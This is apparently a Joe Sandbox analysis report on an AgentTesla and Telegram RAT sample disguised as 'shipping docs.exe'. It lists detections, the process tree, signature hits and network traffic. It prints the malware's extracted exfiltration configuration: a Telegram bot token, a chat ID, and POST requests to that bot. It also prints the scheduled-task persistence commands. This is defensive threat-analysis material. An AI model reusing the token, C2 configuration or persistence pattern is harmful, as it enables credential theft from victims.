Edit tour

Windows Analysis Report
shipping docs.exe

Overview

General Information

Sample Name:	shipping docs.exe
Analysis ID:	756232
MD5:	6308ae755a893c15a989b1ccf2c56393
SHA1:	00ada70aa14a5cf26a7f8cecbaaa437267d30a2a
SHA256:	9dfdb5048599b1083fe534cf5fe5a0440d71eb74b5497e506f0a0a4c23821f40
Tags:	agentteslaexe
Infos:

Detection

AgentTesla

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for submitted file

Malicious sample detected (through community Yara rule)

Yara detected Telegram RAT

Yara detected AgentTesla

Yara detected AntiVM3

Sigma detected: Scheduled temp file as task from temp location

Multi AV Scanner detection for dropped file

Snort IDS alert for network traffic

Tries to steal Mail credentials (via file / registry access)

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Uses the Telegram API (likely for C&C communication)

Machine Learning detection for sample

Injects a PE file into a foreign processes

.NET source code contains very large array initializations

Machine Learning detection for dropped file

Hides that the sample has been downloaded from the Internet (zone.identifier)

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Uses schtasks.exe or at.exe to add and modify task schedules

Tries to harvest and steal browser information (history, passwords, etc)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Uses 32bit PE files

Queries the volume information (name, serial number etc) of a device

Yara signature match

Antivirus or Machine Learning detection for unpacked file

May sleep (evasive loops) to hinder dynamic analysis

Uses code obfuscation techniques (call, push, ret)

Detected potential crypto function

Sample execution stops while process was sleeping (likely an evasion)

Yara detected Credential Stealer

JA3 SSL client fingerprint seen in connection with other malware

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Contains long sleeps (>= 3 min)

Enables debug privileges

Creates a DirectInput object (often for capturing keystrokes)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Sample file is different than original file name gathered from version info

Drops PE files

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Creates a process in suspended mode (likely to inject code)

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Classification

Process Tree

System is w10x64

shipping docs.exe (PID: 2400 cmdline: C:\Users\user\Desktop\shipping docs.exe MD5: 6308AE755A893C15A989B1CCF2C56393)

schtasks.exe (PID: 5248 cmdline: C:\Windows\System32\schtasks.exe" /Create /TN "Updates\yVGAJfiVEvtg" /XML "C:\Users\user\AppData\Local\Temp\tmp7934.tmp MD5: 15FF7D8324231381BAD48A052F85DF04)

conhost.exe (PID: 5220 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

shipping docs.exe (PID: 3776 cmdline: {path} MD5: 6308AE755A893C15A989B1CCF2C56393)

yVGAJfiVEvtg.exe (PID: 4552 cmdline: C:\Users\user\AppData\Roaming\yVGAJfiVEvtg.exe MD5: 6308AE755A893C15A989B1CCF2C56393)

schtasks.exe (PID: 4792 cmdline: C:\Windows\System32\schtasks.exe" /Create /TN "Updates\yVGAJfiVEvtg" /XML "C:\Users\user\AppData\Local\Temp\tmpF5B7.tmp MD5: 15FF7D8324231381BAD48A052F85DF04)

conhost.exe (PID: 4536 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

yVGAJfiVEvtg.exe (PID: 3680 cmdline: {path} MD5: 6308AE755A893C15A989B1CCF2C56393)

VMqTMMD.exe (PID: 1280 cmdline: "C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe" MD5: 6308AE755A893C15A989B1CCF2C56393)

VMqTMMD.exe (PID: 3124 cmdline: "C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe" MD5: 6308AE755A893C15A989B1CCF2C56393)

schtasks.exe (PID: 4184 cmdline: C:\Windows\System32\schtasks.exe" /Create /TN "Updates\yVGAJfiVEvtg" /XML "C:\Users\user\AppData\Local\Temp\tmp3418.tmp MD5: 15FF7D8324231381BAD48A052F85DF04)

conhost.exe (PID: 4404 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

VMqTMMD.exe (PID: 5228 cmdline: {path} MD5: 6308AE755A893C15A989B1CCF2C56393)

cleanup

Malware Configuration

Threatname: Telegram RAT

{"C2 url": "https://api.telegram.org/bot5676971476:AAFdGsXW8kwzXNIluAGV-a4sJ2XBy68O9WI/sendMessage"}

Threatname: Agenttesla

{"Exfil Mode": "Telegram", "Telegram Url": "https://api.telegram.org/bot5676971476:AAFdGsXW8kwzXNIluAGV-a4sJ2XBy68O9WI/sendMessage?chat_id=1644584536"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
0000000E.00000002.343723068.0000000002D38000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
00000000.00000002.270616747.00000000034A9000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000000.00000002.270616747.00000000034A9000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
00000000.00000002.270616747.00000000034A9000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_AgentTesla_d3ac2b2f	unknown	unknown	0x15b63d:$a13: get_DnsResolver 0x191c5d:$a13: get_DnsResolver 0x159d4a:$a20: get_LastAccessed 0x19036a:$a20: get_LastAccessed 0x15c06b:$a27: set_InternalServerPort 0x19268b:$a27: set_InternalServerPort 0x15c3a0:$a30: set_GuidMasterKey 0x1929c0:$a30: set_GuidMasterKey 0x159e5c:$a33: get_Clipboard 0x19047c:$a33: get_Clipboard 0x159e6a:$a34: get_Keyboard 0x19048a:$a34: get_Keyboard 0x15b237:$a35: get_ShiftKeyDown 0x191857:$a35: get_ShiftKeyDown 0x15b248:$a36: get_AltKeyDown 0x191868:$a36: get_AltKeyDown 0x159e77:$a37: get_Password 0x190497:$a37: get_Password 0x15a992:$a38: get_PasswordHash 0x190fb2:$a38: get_PasswordHash 0x15ba9f:$a39: get_DefaultCredentials
00000012.00000002.520653491.00000000030C1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000012.00000002.520653491.00000000030C1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000012.00000002.520653491.00000000030C1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000015.00000002.518773451.0000000002E61000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000015.00000002.518773451.0000000002E61000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000015.00000002.518773451.0000000002E61000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000003.00000000.262419819.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000003.00000000.262419819.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
00000003.00000000.262419819.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_AgentTesla_d3ac2b2f	unknown	unknown	0x31d0d:$a13: get_DnsResolver 0x3041a:$a20: get_LastAccessed 0x3273b:$a27: set_InternalServerPort 0x32a70:$a30: set_GuidMasterKey 0x3052c:$a33: get_Clipboard 0x3053a:$a34: get_Keyboard 0x31907:$a35: get_ShiftKeyDown 0x31918:$a36: get_AltKeyDown 0x30547:$a37: get_Password 0x31062:$a38: get_PasswordHash 0x3216f:$a39: get_DefaultCredentials
00000004.00000002.365709519.0000000002CA7000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
00000003.00000002.518422910.0000000002FA1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000003.00000002.518422910.0000000002FA1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000003.00000002.518422910.0000000002FA1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: shipping docs.exe PID: 2400	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: shipping docs.exe PID: 2400	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: shipping docs.exe PID: 2400	Windows_Trojan_AgentTesla_d3ac2b2f	unknown	unknown	0xbb2e8:$a13: get_DnsResolver 0xb9c55:$a20: get_LastAccessed 0xbbcc5:$a27: set_InternalServerPort 0xbbf2c:$a30: set_GuidMasterKey 0xb9d50:$a33: get_Clipboard 0xb9d5e:$a34: get_Keyboard 0xbaf7e:$a35: get_ShiftKeyDown 0xbaf8f:$a36: get_AltKeyDown 0xb9d6b:$a37: get_Password 0xba7e2:$a38: get_PasswordHash 0xbb71e:$a39: get_DefaultCredentials
Process Memory Space: shipping docs.exe PID: 3776	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: shipping docs.exe PID: 3776	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: shipping docs.exe PID: 3776	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: shipping docs.exe PID: 3776	Windows_Trojan_AgentTesla_d3ac2b2f	unknown	unknown	0x37727:$a13: get_DnsResolver 0x36094:$a20: get_LastAccessed 0x38104:$a27: set_InternalServerPort 0x3836b:$a30: set_GuidMasterKey 0x3618f:$a33: get_Clipboard 0x3619d:$a34: get_Keyboard 0x373bd:$a35: get_ShiftKeyDown 0x373ce:$a36: get_AltKeyDown 0x361aa:$a37: get_Password 0x36c21:$a38: get_PasswordHash 0x37b5d:$a39: get_DefaultCredentials
Process Memory Space: yVGAJfiVEvtg.exe PID: 4552	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: VMqTMMD.exe PID: 1280	webshell_jsp_generic_base64	Generic JSP webshell with base64 encoded payload	Arnim Rupp	0x188d7:$one1: SdW50aW1l 0x1902f:$one1: SdW50aW1l 0x1a607:$one1: SdW50aW1l 0x23e07:$one1: SdW50aW1l 0x18356:$one2: J1bnRpbW 0x19006:$one2: J1bnRpbW 0x23ff2:$one2: J1bnRpbW 0x187c8:$one3: UnVudGltZ 0x23efc:$one3: UnVudGltZ 0x1975e:$two2: V4ZW 0x1480:$cjsp_short1: <% 0x5b31:$cjsp_short1: <% 0x5d0d:$cjsp_short1: <% 0x5d2e:$cjsp_short1: <% 0x8f76:$cjsp_short1: <% 0x8f7d:$cjsp_short1: <% 0x9019:$cjsp_short1: <% 0x9059:$cjsp_short1: <% 0x905f:$cjsp_short1: <% 0x943a:$cjsp_short1: <% 0x9f88:$cjsp_short1: <%
Process Memory Space: VMqTMMD.exe PID: 1280	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: yVGAJfiVEvtg.exe PID: 3680	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: yVGAJfiVEvtg.exe PID: 3680	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: yVGAJfiVEvtg.exe PID: 3680	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: VMqTMMD.exe PID: 5228	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: VMqTMMD.exe PID: 5228	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: VMqTMMD.exe PID: 5228	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Click to see the 28 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
3.0.shipping docs.exe.400000.0.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
3.0.shipping docs.exe.400000.0.unpack	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
3.0.shipping docs.exe.400000.0.unpack	MALWARE_Win_AgentTeslaV3	AgentTeslaV3 infostealer payload	ditekSHen	0x34a4b:$s10: logins 0x344c5:$s11: credential 0x3072c:$g1: get_Clipboard 0x3073a:$g2: get_Keyboard 0x30747:$g3: get_Password 0x31af7:$g4: get_CtrlKeyDown 0x31b07:$g5: get_ShiftKeyDown 0x31b18:$g6: get_AltKeyDown
3.0.shipping docs.exe.400000.0.unpack	Windows_Trojan_AgentTesla_d3ac2b2f	unknown	unknown	0x31f0d:$a13: get_DnsResolver 0x3061a:$a20: get_LastAccessed 0x3293b:$a27: set_InternalServerPort 0x32c70:$a30: set_GuidMasterKey 0x3072c:$a33: get_Clipboard 0x3073a:$a34: get_Keyboard 0x31b07:$a35: get_ShiftKeyDown 0x31b18:$a36: get_AltKeyDown 0x30747:$a37: get_Password 0x31262:$a38: get_PasswordHash 0x3236f:$a39: get_DefaultCredentials
0.2.shipping docs.exe.35d2730.0.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.shipping docs.exe.35d2730.0.unpack	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
0.2.shipping docs.exe.35d2730.0.unpack	MALWARE_Win_AgentTeslaV3	AgentTeslaV3 infostealer payload	ditekSHen	0x32c4b:$s10: logins 0x326c5:$s11: credential 0x2e92c:$g1: get_Clipboard 0x2e93a:$g2: get_Keyboard 0x2e947:$g3: get_Password 0x2fcf7:$g4: get_CtrlKeyDown 0x2fd07:$g5: get_ShiftKeyDown 0x2fd18:$g6: get_AltKeyDown
0.2.shipping docs.exe.35d2730.0.unpack	Windows_Trojan_AgentTesla_d3ac2b2f	unknown	unknown	0x3010d:$a13: get_DnsResolver 0x2e81a:$a20: get_LastAccessed 0x30b3b:$a27: set_InternalServerPort 0x30e70:$a30: set_GuidMasterKey 0x2e92c:$a33: get_Clipboard 0x2e93a:$a34: get_Keyboard 0x2fd07:$a35: get_ShiftKeyDown 0x2fd18:$a36: get_AltKeyDown 0x2e947:$a37: get_Password 0x2f462:$a38: get_PasswordHash 0x3056f:$a39: get_DefaultCredentials
0.2.shipping docs.exe.35d2730.0.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.shipping docs.exe.35d2730.0.raw.unpack	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
0.2.shipping docs.exe.35d2730.0.raw.unpack	MALWARE_Win_AgentTeslaV3	AgentTeslaV3 infostealer payload	ditekSHen	0x34a4b:$s10: logins 0x6b06b:$s10: logins 0x344c5:$s11: credential 0x6aae5:$s11: credential 0x3072c:$g1: get_Clipboard 0x66d4c:$g1: get_Clipboard 0x3073a:$g2: get_Keyboard 0x66d5a:$g2: get_Keyboard 0x30747:$g3: get_Password 0x66d67:$g3: get_Password 0x31af7:$g4: get_CtrlKeyDown 0x68117:$g4: get_CtrlKeyDown 0x31b07:$g5: get_ShiftKeyDown 0x68127:$g5: get_ShiftKeyDown 0x31b18:$g6: get_AltKeyDown 0x68138:$g6: get_AltKeyDown
0.2.shipping docs.exe.35d2730.0.raw.unpack	Windows_Trojan_AgentTesla_d3ac2b2f	unknown	unknown	0x31f0d:$a13: get_DnsResolver 0x6852d:$a13: get_DnsResolver 0x3061a:$a20: get_LastAccessed 0x66c3a:$a20: get_LastAccessed 0x3293b:$a27: set_InternalServerPort 0x68f5b:$a27: set_InternalServerPort 0x32c70:$a30: set_GuidMasterKey 0x69290:$a30: set_GuidMasterKey 0x3072c:$a33: get_Clipboard 0x66d4c:$a33: get_Clipboard 0x3073a:$a34: get_Keyboard 0x66d5a:$a34: get_Keyboard 0x31b07:$a35: get_ShiftKeyDown 0x68127:$a35: get_ShiftKeyDown 0x31b18:$a36: get_AltKeyDown 0x68138:$a36: get_AltKeyDown 0x30747:$a37: get_Password 0x66d67:$a37: get_Password 0x31262:$a38: get_PasswordHash 0x67882:$a38: get_PasswordHash 0x3236f:$a39: get_DefaultCredentials
Click to see the 7 entries

Sigma Signatures

Persistence and Installation Behavior

Sigma detected: Scheduled temp file as task from temp location

Source: Process started

Author: Joe Security: Data: Command: C:\Windows\System32\schtasks.exe" /Create /TN "Updates\yVGAJfiVEvtg" /XML "C:\Users\user\AppData\Local\Temp\tmp7934.tmp, CommandLine: C:\Windows\System32\schtasks.exe" /Create /TN "Updates\yVGAJfiVEvtg" /XML "C:\Users\user\AppData\Local\Temp\tmp7934.tmp, CommandLine|base64offset|contains: *j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: C:\Users\user\Desktop\shipping docs.exe, ParentImage: C:\Users\user\Desktop\shipping docs.exe, ParentProcessId: 2400, ParentProcessName: shipping docs.exe, ProcessCommandLine: C:\Windows\System32\schtasks.exe" /Create /TN "Updates\yVGAJfiVEvtg" /XML "C:\Users\user\AppData\Local\Temp\tmp7934.tmp, ProcessId: 5248, ProcessName: schtasks.exe

Snort Signatures

ETPRO TROJAN Agent Tesla Telegram Exfil - Source IP: 192.168.2.3 - Destination IP: 149.154.167.220

Timestamp:	192.168.2.3149.154.167.220496994432851779 11/29/22-21:19:34.793087
SID:	2851779
Source Port:	49699
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Agent Tesla Telegram Exfil - Source IP: 192.168.2.3 - Destination IP: 149.154.167.220

Timestamp:	192.168.2.3149.154.167.220497004432851779 11/29/22-21:20:32.964256
SID:	2851779
Source Port:	49700
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Agent Tesla Telegram Exfil - Source IP: 192.168.2.3 - Destination IP: 149.154.167.220

Timestamp:	192.168.2.3149.154.167.220497014432851779 11/29/22-21:20:48.592868
SID:	2851779
Source Port:	49701
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: shipping docs.exe	ReversingLabs: Detection: 73%
Source: shipping docs.exe	Virustotal: Detection: 47%			Perma Link

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	ReversingLabs: Detection: 73%
Source: C:\Users\user\AppData\Roaming\yVGAJfiVEvtg.exe	ReversingLabs: Detection: 73%

Machine Learning detection for sample

Source: shipping docs.exe

Joe Sandbox ML: detected

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Roaming\yVGAJfiVEvtg.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	Joe Sandbox ML: detected

Source: 3.0.shipping docs.exe.400000.0.unpack

Avira: Label: TR/Spy.Gen8

Source: 3.0.shipping docs.exe.400000.0.unpack	Malware Configuration Extractor: Agenttesla {"Exfil Mode": "Telegram", "Telegram Url": "https://api.telegram.org/bot5676971476:AAFdGsXW8kwzXNIluAGV-a4sJ2XBy68O9WI/sendMessage?chat_id=1644584536"}
Source: shipping docs.exe.3776.3.memstrmin	Malware Configuration Extractor: Telegram RAT {"C2 url": "https://api.telegram.org/bot5676971476:AAFdGsXW8kwzXNIluAGV-a4sJ2XBy68O9WI/sendMessage"}

Source: shipping docs.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.3:49699 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.3:49700 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.3:49701 version: TLS 1.2

Source: shipping docs.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2851779 ETPRO TROJAN Agent Tesla Telegram Exfil 192.168.2.3:49699 -> 149.154.167.220:443
Source: Traffic	Snort IDS: 2851779 ETPRO TROJAN Agent Tesla Telegram Exfil 192.168.2.3:49700 -> 149.154.167.220:443
Source: Traffic	Snort IDS: 2851779 ETPRO TROJAN Agent Tesla Telegram Exfil 192.168.2.3:49701 -> 149.154.167.220:443

Uses the Telegram API (likely for C&C communication)

Source: unknown	DNS query: name: api.telegram.org
Source: unknown	DNS query: name: api.telegram.org
Source: unknown	DNS query: name: api.telegram.org

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: global traffic	HTTP traffic detected: POST /bot5676971476:AAFdGsXW8kwzXNIluAGV-a4sJ2XBy68O9WI/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------------8dad24f67b2ac65Host: api.telegram.orgContent-Length: 1006Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot5676971476:AAFdGsXW8kwzXNIluAGV-a4sJ2XBy68O9WI/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------------8dad24f8bdcd188Host: api.telegram.orgContent-Length: 1006Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot5676971476:AAFdGsXW8kwzXNIluAGV-a4sJ2XBy68O9WI/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------------8dad24f9334eaaaHost: api.telegram.orgContent-Length: 1006Expect: 100-continueConnection: Keep-Alive

Source: Joe Sandbox View

IP Address: 149.154.167.220 149.154.167.220

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49700
Source: unknown	Network traffic detected: HTTP traffic on port 49699 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49699
Source: unknown	Network traffic detected: HTTP traffic on port 49700 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49701 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49701

Source: shipping docs.exe, 00000003.00000002.518422910.0000000002FA1000.00000004.00000800.00020000.00000000.sdmp, yVGAJfiVEvtg.exe, 00000012.00000002.520653491.00000000030C1000.00000004.00000800.00020000.00000000.sdmp, VMqTMMD.exe, 00000015.00000002.518773451.0000000002E61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:HTTP/1.1
Source: VMqTMMD.exe, 00000015.00000002.518773451.0000000002E61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://DynDns.comDynDNSnamejidpasswordPsi/Psi
Source: VMqTMMD.exe, 00000015.00000002.518773451.0000000002E61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://Unbjpy.com
Source: shipping docs.exe, 00000003.00000002.534617829.000000000334B000.00000004.00000800.00020000.00000000.sdmp, yVGAJfiVEvtg.exe, 00000012.00000002.537871887.00000000034AF000.00000004.00000800.00020000.00000000.sdmp, VMqTMMD.exe, 00000015.00000002.534906198.0000000003201000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://api.telegram.org
Source: shipping docs.exe, 00000003.00000002.514223306.0000000001202000.00000004.00000020.00020000.00000000.sdmp, yVGAJfiVEvtg.exe, 00000012.00000002.515645091.0000000001361000.00000004.00000020.00020000.00000000.sdmp, VMqTMMD.exe, 00000015.00000002.512897668.0000000001029000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: shipping docs.exe, 00000000.00000003.239628147.0000000000BDD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://en.w
Source: shipping docs.exe, 00000000.00000002.279908957.0000000006732000.00000004.00000800.00020000.00000000.sdmp, shipping docs.exe, 00000000.00000003.240423951.000000000548B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://fontfabrik.com
Source: shipping docs.exe, 00000000.00000002.265489624.0000000002481000.00000004.00000800.00020000.00000000.sdmp, shipping docs.exe, 00000003.00000002.534292549.0000000003336000.00000004.00000800.00020000.00000000.sdmp, yVGAJfiVEvtg.exe, 00000004.00000002.364468167.0000000002C61000.00000004.00000800.00020000.00000000.sdmp, VMqTMMD.exe, 0000000F.00000002.373989607.0000000002D06000.00000004.00000800.00020000.00000000.sdmp, yVGAJfiVEvtg.exe, 00000012.00000002.537543749.000000000349A000.00000004.00000800.00020000.00000000.sdmp, VMqTMMD.exe, 00000015.00000002.534577687.00000000031EE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: shipping docs.exe, 00000000.00000002.279908957.0000000006732000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: shipping docs.exe, 00000000.00000003.242487064.0000000005480000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.carterandcone.com
Source: shipping docs.exe, 00000000.00000002.279908957.0000000006732000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.carterandcone.coml
Source: shipping docs.exe, 00000000.00000002.279908957.0000000006732000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com
Source: shipping docs.exe, 00000000.00000002.279908957.0000000006732000.00000004.00000800.00020000.00000000.sdmp, shipping docs.exe, 00000000.00000003.245303030.0000000005479000.00000004.00000800.00020000.00000000.sdmp, shipping docs.exe, 00000000.00000003.245545950.000000000547D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers
Source: shipping docs.exe, 00000000.00000003.245303030.0000000005479000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers-
Source: shipping docs.exe, 00000000.00000002.279908957.0000000006732000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/?
Source: shipping docs.exe, 00000000.00000002.279908957.0000000006732000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/cabarga.htmlN
Source: shipping docs.exe, 00000000.00000002.279908957.0000000006732000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/frere-jones.html
Source: shipping docs.exe, 00000000.00000002.279908957.0000000006732000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers8
Source: shipping docs.exe, 00000000.00000002.279908957.0000000006732000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers?
Source: shipping docs.exe, 00000000.00000002.279908957.0000000006732000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designersG
Source: shipping docs.exe, 00000000.00000003.264268952.0000000005470000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.comgrita
Source: shipping docs.exe, 00000000.00000003.264268952.0000000005470000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.comm
Source: shipping docs.exe, 00000000.00000002.279908957.0000000006732000.00000004.00000800.00020000.00000000.sdmp, shipping docs.exe, 00000000.00000003.240126460.000000000548B000.00000004.00000800.00020000.00000000.sdmp, shipping docs.exe, 00000000.00000003.240159233.000000000548B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fonts.com
Source: shipping docs.exe, 00000000.00000003.240136652.0000000005494000.00000004.00000800.00020000.00000000.sdmp, shipping docs.exe, 00000000.00000003.240113755.0000000005493000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fonts.com8
Source: shipping docs.exe, 00000000.00000003.240136652.0000000005494000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fonts.comtteJ
Source: shipping docs.exe, 00000000.00000002.279908957.0000000006732000.00000004.00000800.00020000.00000000.sdmp, shipping docs.exe, 00000000.00000003.241799498.00000000054AD000.00000004.00000800.00020000.00000000.sdmp, shipping docs.exe, 00000000.00000003.241823423.0000000005474000.00000004.00000800.00020000.00000000.sdmp, shipping docs.exe, 00000000.00000003.242049495.0000000005479000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn
Source: shipping docs.exe, 00000000.00000003.241799498.00000000054AD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn%
Source: shipping docs.exe, 00000000.00000003.242044098.0000000005474000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/
Source: shipping docs.exe, 00000000.00000002.279908957.0000000006732000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/bThe
Source: shipping docs.exe, 00000000.00000002.279908957.0000000006732000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/cThe
Source: shipping docs.exe, 00000000.00000003.241823423.0000000005474000.00000004.00000800.00020000.00000000.sdmp, shipping docs.exe, 00000000.00000003.242158018.000000000547B000.00000004.00000800.00020000.00000000.sdmp, shipping docs.exe, 00000000.00000003.242049495.0000000005479000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cnlJ
